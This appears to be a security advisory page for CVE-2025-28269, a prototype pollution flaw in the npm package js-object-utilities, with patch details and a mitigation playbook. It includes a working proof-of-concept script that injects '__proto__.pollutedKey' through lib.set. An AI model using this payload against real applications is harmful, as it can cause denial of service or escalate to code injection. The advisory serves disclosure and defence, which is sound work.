CVE-2025-28269 — js-object-utilities
Fix: rrainn/js-object-utilities@05ca694CVE-2025-28269 is a security vulnerability in js-object-utilities. A fix is available for js-object-utilities — see the affected versions and patch details below.
js-object-utilities Vulnerable to Prototype Pollution
Real-World Exposure
js-object-utilitiesReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Vulnerability type: Prototype Pollution
Affected Package:
- Product: js-object-utilities
- Version: 2.2.0
Remedy:
Update package to version 2.2.1.
Vulnerability Location(s):
at module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)
Description:
The latest version of js-object-utilities (2.2.0), (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) lib.set. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.
PoC:
// install the package with the latest version
~$ npm install [email protected]
// run the script mentioned below
~$ node poc.js
//The expected output (if the code still vulnerable) is below.
// Note that the output may slightly differs from function to another.
Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.js
(async () => {
const lib = await import('js-object-utilities');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
Reflect.apply(lib.set, {}, [someObj, "__proto__.pollutedKey", 123]);
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();
Reporter Credit:
Tariq Hawis
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | js-object-utilities | all versions | 2.2.1npm install js-object-utilities@2.2.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-object-utilities, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update js-object-utilities to 2.2.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-28269 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2025-28269 in your dependencies?
Find it across npm, including transitive dependencies.